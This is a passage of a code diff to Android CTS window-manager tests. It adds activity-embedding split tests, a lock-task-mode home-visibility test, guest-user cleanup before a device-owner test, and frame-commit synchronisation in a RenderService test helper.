+        public static final String EXTRAS_BUNDLE = "EXTRAS_BUNDLE";
+        public static final String EXTRAS_DISPLAY_ID = "EXTRAS_DISPLAY_ID";
+        public static final String EXTRAS_HOST_TOKEN = "EXTRAS_HOST_TOKEN";
+        public static final String BROADCAST_EMBED_CONTENT =
+                "android.server.wm.app.RenderService.EMBED_CONTENT";
+        public static final String EXTRAS_SURFACE_PACKAGE = "surfacePackage";
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
index f781d2e..9c611ea 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
@@ -16,13 +16,16 @@
 
 package android.server.wm.app;
 
+import static android.server.wm.app.Components.RenderService.BROADCAST_EMBED_CONTENT;
+import static android.server.wm.app.Components.RenderService.EXTRAS_BUNDLE;
+import static android.server.wm.app.Components.RenderService.EXTRAS_DISPLAY_ID;
+import static android.server.wm.app.Components.RenderService.EXTRAS_HOST_TOKEN;
+import static android.server.wm.app.Components.RenderService.EXTRAS_SURFACE_PACKAGE;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
-import android.graphics.PixelFormat;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.os.IBinder;
@@ -32,18 +35,13 @@
 import android.view.MotionEvent;
 import android.view.SurfaceControlViewHost;
 import android.view.View;
-import android.view.WindowManager;
 import android.widget.Button;
 
-public class RenderService extends Service {
-    static final String EXTRAS_BUNDLE = "INTENT_BUNDLE";
-    static final String EXTRAS_DISPLAY_ID = "hostDisplayId";
-    static final String EXTRAS_HOST_TOKEN = "hostInputToken";
-    static final String BROADCAST_EMBED_CONTENT
-            = "android.server.wm.app.RenderService.EMBED_CONTENT";
-    static final String EXTRAS_SURFACE_PACKAGE = "surfacePackage";
+import java.util.concurrent.CountDownLatch;
 
+public class RenderService extends Service {
     private int mOnMotionEventDelayMs;
+    CountDownLatch mViewDrawnCallbackLatch = new CountDownLatch(1);
 
     private boolean onTouch(View v, MotionEvent event) {
         SystemClock.sleep(mOnMotionEventDelayMs);
@@ -60,7 +58,7 @@
 
         SurfaceControlViewHost surfaceControlViewHost = getSurfaceControlViewHost(hostToken,
                 hostDisplayId);
-        sendSurfacePackage(surfaceControlViewHost.getSurfacePackage());
+        new Thread(()-> sendSurfacePackage(surfaceControlViewHost.getSurfacePackage())).start();
         return null;
     }
 
@@ -71,6 +69,8 @@
 
         View embeddedView = new Button(this);
         embeddedView.setOnTouchListener(this::onTouch);
+        embeddedView.getViewTreeObserver().registerFrameCommitCallback(
+                mViewDrawnCallbackLatch::countDown);
         DisplayMetrics metrics = new DisplayMetrics();
         displayContext.getDisplay().getMetrics(metrics);
         surfaceControlViewHost.setView(embeddedView, metrics.widthPixels, metrics.heightPixels);
@@ -84,8 +84,12 @@
     }
 
     private void sendSurfacePackage(SurfaceControlViewHost.SurfacePackage surfacePackage) {
-        Intent broadcast = new Intent();
-        broadcast.setAction(BROADCAST_EMBED_CONTENT);
+        try {
+            // wait until we commit a frame from the embedded viewrootimpl
+            mViewDrawnCallbackLatch.await();
+        } catch (InterruptedException ignored) {
+        }
+        Intent broadcast = new Intent(BROADCAST_EMBED_CONTENT);
         broadcast.putExtra(EXTRAS_SURFACE_PACKAGE, surfacePackage);
         sendBroadcast(broadcast);
     }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index d46e922..453c29b 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -49,10 +49,14 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.Manifest;
+import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.UserInfo;
 import android.os.ResultReceiver;
+import android.os.UserManager;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.SystemUserOnly;
 import android.server.wm.backgroundactivity.common.CommonComponents.Event;
@@ -60,6 +64,7 @@
 
 import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.AppOpsUtils;
 
@@ -480,6 +485,45 @@
         assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    /**
+     * Returns a list of alive users on the device
+     */
+    private List<UserInfo> getAliveUsers() {
+        // Setting the CREATE_USERS permission in AndroidManifest.xml has no effect when the test
+        // is run through the CTS harness, so instead adopt it as a shell permission. We use
+        // the CREATE_USERS permission instead of MANAGE_USERS because the shell can never use
+        // MANAGE_USERS.
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity(Manifest.permission.CREATE_USERS);
+        List<UserInfo> userList = mContext.getSystemService(UserManager.class)
+                .getUsers(/* excludePartial= */ true,
+                        /* excludeDying= */ true,
+                        /* excludePreCreated= */ true);
+        uiAutomation.dropShellPermissionIdentity();
+        return userList;
+    }
+
+    /**
+     * Removes the guest user from the device if present
+     */
+    private void removeGuestUser() {
+        List<UserInfo> userList = getAliveUsers();
+        for (UserInfo info : userList) {
+            if (info.isGuest()) {
+                removeUser(info.id);
+                // Device is only allowed to have one alive guest user, so stop if it's found
+                break;
+            }
+        }
+    }
+
+    /**
+     * Removes a user from the device given their ID
+     */
+    private void removeUser(int userId) {
+        executeShellCommand(String.format("pm remove-user %d", userId));
+    }
+
     @Test
     @SystemUserOnly(reason = "Device owner must be SYSTEM user")
     public void testDeviceOwner() throws Exception {
@@ -489,6 +533,15 @@
             return;
         }
 
+        // Remove existing guest user. The device may already have a guest present if it is
+        // configured with config_guestUserAutoCreated.
+        //
+        // In production flow the DO can only be created before device provisioning finishes
+        // (e.g. during SUW), and we make sure the guest user in only created after the device
+        // provision is finished. Ideally this test would use the provisioning flow and Device
+        // Owner (DO) creation in a similar manner as that of production flow.
+        removeGuestUser();
+
         String cmdResult = runShellCommand("dpm set-device-owner --user 0 "
                 + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
         assertThat(cmdResult).contains("Success");
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
index b5c1d3f..6ddb7f4 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -16,35 +16,59 @@
 
 package android.server.wm.jetpack;
 
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getPrimaryStackTopActivity;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getSecondaryStackTopActivity;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.TAG;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assertValidSplit;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getSecondActivity;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitForResumed;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getResumedActivityById;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeNotNull;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.util.Log;
+import android.util.Pair;
 import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
 import android.server.wm.jetpack.utils.TestActivityWithId;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
 import android.server.wm.jetpack.utils.TestValueCountConsumer;
+import android.util.Pair;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.window.extensions.WindowExtensions;
 import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.ActivityRule;
+import androidx.window.extensions.embedding.EmbeddingRule;
 import androidx.window.extensions.embedding.SplitInfo;
 import androidx.window.extensions.embedding.SplitPairRule;
 
+import com.google.common.collect.Sets;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
+import java.util.HashSet;
 import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
 
 /**
  * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
@@ -78,22 +102,45 @@
     }
 
     /**
-     * Tests launching activities to the side from the primary activity.
+     * Tests splitting activities with the same primary activity.
      */
     @Test
-    public void testPrimaryActivityLaunchToSide() {
+    public void testSplitWithPrimaryActivity() {
         Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
 
-        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        // Only the primary activity can be in a split with another activity
+        final Predicate<Pair<Activity, Activity>> activityActivityPredicate =
+                activityActivityPair -> primaryActivity.equals(activityActivityPair.first);
+
+        SplitPairRule splitPairRule = new SplitPairRule.Builder(
+                activityActivityPredicate, activityIntentPair -> true /* activityIntentPredicate */,
+                parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
+                .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
 
-        // Launch multiple activities to the side from the primary activity and verify that they
-        // all successfully split with the primary activity.
+        // Launch multiple activities from the primary activity and verify that they all
+        // successfully split with the primary activity.
+        List<Activity> secondaryActivities = new ArrayList<>();
         final int numActivitiesToLaunch = 4;
-        for (int i = 0; i < numActivitiesToLaunch; i++) {
+        for (int activityLaunchIndex = 0; activityLaunchIndex < numActivitiesToLaunch;
+                activityLaunchIndex++) {
             Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
                     TestActivityWithId.class, splitPairRule,
-                    Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
+                    Integer.toString(activityLaunchIndex) /* secondActivityId */,
+                    mSplitInfoConsumer);
+
+            // Verify the split states match with the current and previous launches
+            secondaryActivities.add(secondaryActivity);
+            final List<SplitInfo> lastReportedSplitInfoList =
+                    mSplitInfoConsumer.getLastReportedValue();
+            assertEquals(secondaryActivities.size(), lastReportedSplitInfoList.size());
+            for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
+                    splitInfoIndex++) {
+                final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
+                assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+                assertEquals(secondaryActivities.get(splitInfoIndex),
+                        getSecondaryStackTopActivity(splitInfo));
+            }
         }
     }
 
@@ -119,15 +166,9 @@
         Activity prevSecondaryActivity;
         for (int i = 0; i < numActivitiesToLaunch; i++) {
             prevSecondaryActivity = secondaryActivity;
-            // Expect the split info consumer to return a value after the 3rd callback because the
-            // 1st callback will return empty split states due to clearing the previous secondary
-            // container, the 2nd callback will return a non-empty primary container with an empty
-            // secondary container because the primary container was just registered, and finally
-            // the 3rd callback will contain the secondary activity in the secondary container.
             secondaryActivity = startActivityAndVerifySplit(primaryActivity,
                     TestActivityWithId.class, splitPairRule,
-                    Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer,
-                    3 /* expectedCallbackCount */);
+                    Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
             // The previous secondary activity should be finishing because shouldClearTop was set
             // to true, which clears the secondary container before launching the next secondary
             // activity.
@@ -141,4 +182,174 @@
         assertEquals(1, splitInfo.getPrimaryActivityStack().getActivities().size());
         assertEquals(1, splitInfo.getSecondaryActivityStack().getActivities().size());
     }
+
+    /**
+     * Tests that launching activities with wildcard split rules results in the newly launched
+     * activity being split with the activity that has the highest z-order, which is the top
+     * activity in the secondary stack.
+     */
+    @Test
+    public void testSplitWithTopmostActivity() {
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        Activity nextPrimaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "initialSecondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+        // Store the launched activities in order for later use in checking the split info
+        List<Activity> launchedActivitiesInOrder = new ArrayList<>();
+        launchedActivitiesInOrder.addAll(Arrays.asList(primaryActivity, nextPrimaryActivity));
+
+        // Launch multiple activities to the side from the secondary activity and verify that the
+        // secondary activity becomes the primary activity and that it is split with the activity
+        // that was just launched.
+        final int numActivitiesToLaunch = 4;
+        for (int activityLaunchIndex = 0; activityLaunchIndex < numActivitiesToLaunch;
+                activityLaunchIndex++) {
+            nextPrimaryActivity = startActivityAndVerifySplit(nextPrimaryActivity,
+                    TestActivityWithId.class, splitPairRule,
+                    Integer.toString(activityLaunchIndex) /* secondActivityId */,
+                    mSplitInfoConsumer);
+
+            launchedActivitiesInOrder.add(nextPrimaryActivity);
+
+            // Verify the split states match with the current and previous launches
+            final List<SplitInfo> lastReportedSplitInfoList =
+                    mSplitInfoConsumer.getLastReportedValue();
+            // The number of splits is number of launched activities - 1 because the first primary
+            // was the only activity to not launch into a split.
+            assertEquals(launchedActivitiesInOrder.size() - 1,
+                    lastReportedSplitInfoList.size());
+            for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
+                    splitInfoIndex++) {
+                final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
+                assertEquals(launchedActivitiesInOrder.get(splitInfoIndex),
+                        getPrimaryStackTopActivity(splitInfo));
+                assertEquals(launchedActivitiesInOrder.get(splitInfoIndex + 1),
+                        getSecondaryStackTopActivity(splitInfo));
+            }
+        }
+    }
+
+    /**
+     * Tests launching an activity that is set to always expand when it is launched over an existing
+     * split from the current primary activity.
+     */
+    @Test
+    public void testAlwaysExpandOverSplit_launchFromPrimary() {
+        // Create activity rule that sets the target activity to always expand
+        final String alwaysExpandedActivityId = "AlwaysExpandedActivityId";
+        Predicate<Activity> activityPredicate = activity ->
+                activity instanceof TestActivityWithId
+                        && alwaysExpandedActivityId.equals(((TestActivityWithId) activity).getId());
+        ActivityRule expandActivityRule = new ActivityRule.Builder(activityPredicate,
+                intent -> true /* intentPredicate */).setShouldAlwaysExpand(true).build();
+
+        // Register wildcard split pair rule and always-expanded activity rule
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Sets.newHashSet(splitPairRule,
+                expandActivityRule));
+
+        // Launch two activities into a split
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        startActivityAndVerifySplit(primaryActivity, TestActivityWithId.class,
+                splitPairRule, "secondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+        // Launch always expanded activity from the primary activity
+        startActivityFromActivity(primaryActivity, TestActivityWithId.class,
+                alwaysExpandedActivityId);
+
+        // Verify that the always expanded activity is resumed and fills its parent
+        waitForResumed(alwaysExpandedActivityId);
+        Activity alwaysExpandedActivity = getResumedActivityById(alwaysExpandedActivityId);
+        assertEquals(getMaximumActivityBounds(alwaysExpandedActivity),
+                getActivityBounds(alwaysExpandedActivity));
+    }
+
+    /**
+     * Tests launching an activity that is set to always expand when it is launched over an existing
+     * split from the current secondary activity.
+     */
+    @Test
+    public void testAlwaysExpandOverSplit_launchFromSecondary() {
+        // Create activity rule that sets the target activity to always expand
+        final String alwaysExpandedActivityId = "AlwaysExpandedActivityId";
+        Predicate<Activity> activityPredicate = activity ->
+                activity instanceof TestActivityWithId
+                        && alwaysExpandedActivityId.equals(((TestActivityWithId) activity).getId());
+        ActivityRule expandActivityRule = new ActivityRule.Builder(activityPredicate,
+                intent -> true /* intentPredicate */).setShouldAlwaysExpand(true).build();
+
+        // Register wildcard split pair rule and always-expanded activity rule
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Sets.newHashSet(splitPairRule,
+                expandActivityRule));
+
+        // Launch two activities into a split
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule, "secondaryActivity" /* secondActivityId */,
+                mSplitInfoConsumer);
+
+        // Launch always expanded activity from the secondary activity
+        startActivityFromActivity(secondaryActivity, TestActivityWithId.class,
+                alwaysExpandedActivityId);
+
+        // Verify that the always expanded activity is resumed and fills its parent
+        waitForResumed(alwaysExpandedActivityId);
+        Activity alwaysExpandedActivity = getResumedActivityById(alwaysExpandedActivityId);
+        assertEquals(getMaximumActivityBounds(alwaysExpandedActivity),
+                getActivityBounds(alwaysExpandedActivity));
+    }
+
+    /**
+     * Tests that if an activity is launched from the secondary activity that only the primary
+     * activity can be split with, then the newly launched activity launches above the current
+     * secondary activity in the same container.
+     */
+    @Test
+    public void testSecondaryActivityLaunchAbove() {
+        final Activity primaryActivity = startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
+
+        // Build a rule that will only allow to split with the primary activity.
+        final Predicate<Pair<Activity, Intent>> activityIntentPredicate =
+                activityIntentPair -> primaryActivity.equals(activityIntentPair.first);
+        // Build the split pair rule
+        final SplitPairRule splitPairRule = new SplitPairRule.Builder(
+                activityPair -> true /* activityPairPredicate */, activityIntentPredicate,
+                parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
+                .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "initialSecondaryActivity", mSplitInfoConsumer);
+
+        List<Activity> secondaryActivities = new ArrayList<>();
+        secondaryActivities.add(secondaryActivity);
+
+        // Launch multiple activities from the secondary activity and verify that they all
+        // successfully split with the primary activity.
+        final int numActivitiesToLaunch = 4;
+        for (int i = 0; i < numActivitiesToLaunch; i++) {
+            secondaryActivity = startActivityAndVerifySplit(
+                    secondaryActivity /* activityLaunchingFrom */,
+                    primaryActivity /* expectedPrimaryActivity */, TestActivityWithId.class,
+                    splitPairRule, Integer.toString(i) /* secondActivityId */,
+                    1 /* expectedCallbackCount */, mSplitInfoConsumer);
+
+            // Verify the split states match with the current and previous launches
+            secondaryActivities.add(secondaryActivity);
+            final List<SplitInfo> lastReportedSplitInfoList =
+                    mSplitInfoConsumer.getLastReportedValue();
+            assertEquals(1, lastReportedSplitInfoList.size());
+            final SplitInfo splitInfo = lastReportedSplitInfoList.get(0);
+            assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+            assertEquals(secondaryActivities, splitInfo.getSecondaryActivityStack()
+                    .getActivities());
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
index fbb2a31..fbdfc3a 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -20,6 +20,7 @@
 import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getResumedActivityById;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
 
 import static org.junit.Assert.assertEquals;
@@ -90,16 +91,16 @@
         return createWildcardSplitPairRule(false /* shouldClearTop */);
     }
 
-    public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
-            @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
-            @NonNull String secondActivityId,
-            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer,
-            int expectedCallbackCount) {
+    public static Activity startActivityAndVerifySplit(@NonNull Activity activityLaunchingFrom,
+            @NonNull Activity expectedPrimaryActivity, @NonNull Class secondActivityClass,
+            @NonNull SplitPairRule splitPairRule, @NonNull String secondActivityId,
+            int expectedCallbackCount,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
         // Set the expected callback count
         splitInfoConsumer.setCount(expectedCallbackCount);
 
         // Start second activity
-        startActivityFromActivity(primaryActivity, secondActivityClass, secondActivityId);
+        startActivityFromActivity(activityLaunchingFrom, secondActivityClass, secondActivityId);
 
         // Get updated split info
         List<SplitInfo> activeSplitStates = null;
@@ -110,11 +111,11 @@
         }
 
         // Get second activity from split info
-        Activity secondActivity = getSecondActivity(activeSplitStates, primaryActivity,
+        Activity secondActivity = getSecondActivity(activeSplitStates, expectedPrimaryActivity,
                 secondActivityId);
         assertNotNull(secondActivity);
 
-        assertValidSplit(primaryActivity, secondActivity, splitPairRule);
+        assertValidSplit(expectedPrimaryActivity, secondActivity, splitPairRule);
 
         // Return second activity for easy access in calling method
         return secondActivity;
@@ -122,15 +123,28 @@
 
     public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
             @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+            @NonNull String secondActivityId, int expectedCallbackCount,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+        return startActivityAndVerifySplit(primaryActivity /* activityLaunchingFrom */,
+                primaryActivity, secondActivityClass, splitPairRule, secondActivityId,
+                expectedCallbackCount, splitInfoConsumer);
+    }
+
+    public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+            @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
             @NonNull String secondActivityId,
             @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
         return startActivityAndVerifySplit(primaryActivity, secondActivityClass, splitPairRule,
-                secondActivityId, splitInfoConsumer, 1 /* expectedCallbackCount */);
+                secondActivityId, 1 /* expectedCallbackCount */, splitInfoConsumer);
     }
 
     @Nullable
-    public static Activity getSecondActivity(@NonNull List<SplitInfo> activeSplitStates,
+    public static Activity getSecondActivity(@Nullable List<SplitInfo> activeSplitStates,
             @NonNull Activity primaryActivity, @NonNull String secondaryClassId) {
+        if (activeSplitStates == null) {
+            Log.d(TAG, "Null split states");
+            return null;
+        }
         Log.d(TAG, "Active split states: " + activeSplitStates);
         for (SplitInfo splitInfo : activeSplitStates) {
             // Find the split info whose top activity in the primary container is the primary
@@ -192,6 +206,16 @@
         return false;
     }
 
+    public static boolean waitForResumed(@NonNull String activityId) {
+        final long startTime = System.currentTimeMillis();
+        while (System.currentTimeMillis() - startTime < WAIT_FOR_RESUMED_TIMEOUT_MS) {
+            if (getResumedActivityById(activityId) != null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     @Nullable
     public static Activity getPrimaryStackTopActivity(SplitInfo splitInfo) {
         List<Activity> primaryActivityStack = splitInfo.getPrimaryActivityStack().getActivities();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index 3c926a5..c2576cc 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -219,4 +219,17 @@
             return sResumedActivities.contains(activity);
         }
     }
+
+    @Nullable
+    public static TestActivityWithId getResumedActivityById(@NonNull String activityId) {
+        synchronized (sResumedActivities) {
+            for (Activity activity : sResumedActivities) {
+                if (activity instanceof TestActivityWithId
+                        && activityId.equals(((TestActivityWithId) activity).getId())) {
+                    return (TestActivityWithId) activity;
+                }
+            }
+            return null;
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 2b425c9..401ebaf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -337,6 +337,44 @@
         mWmState.assertHomeActivityVisible(true);
     }
 
+    /**
+     * This test case tests behavior of activity launched with FLAG_ACTIVITY_TASK_ON_HOME in lock
+     * task mode. The home task do not move to the front of the launched task if the home task
+     * is violated with the lock-task mode.
+     */
+    @Test
+    public void testLaunchTaskOnHomeInLockTaskMode() {
+        if (!hasHomeScreen()) {
+            return;
+        }
+        // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
+        getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
+        waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
+        final int taskId1 = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
+        final int taskId2 = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
+
+        try {
+            runWithShellPermission(() -> {
+                mAtm.startSystemLockTaskMode(taskId1);
+                mAtm.startSystemLockTaskMode(taskId2);
+            });
+            getLaunchActivityBuilder()
+                    .setUseInstrumentation()
+                    .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                    .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
+            waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
+            mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+            mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
+
+            mWmState.assertHomeActivityVisible(false);
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
     @Test
     public void testFinishActivityWithMoveTaskToBackAfterPause() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
index 312fb4c..91b42dc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
@@ -23,17 +23,15 @@
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import android.app.ActivityTaskManager;
 import android.content.ComponentName;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.app.Components.RenderService;
 import android.provider.Settings;
+import android.server.wm.app.Components.RenderService;
 import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -43,14 +41,16 @@
 import android.util.Log;
 import android.view.KeyEvent;
 
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
 import java.util.List;
-
-import androidx.test.filters.FlakyTest;
-import androidx.test.platform.app.InstrumentationRegistry;
+import java.util.concurrent.CountDownLatch;
 
 /**
  * Test scenarios that lead to ANR dialog being shown.
@@ -123,15 +123,11 @@
         startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true /* waitForCompletion */,
                 UNRESPONSIVE_ACTIVITY);
 
-        // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
         mWmState.computeState();
         // Tap on the UnresponsiveActivity
         final WindowManagerState.Task unresponsiveActivityTask =
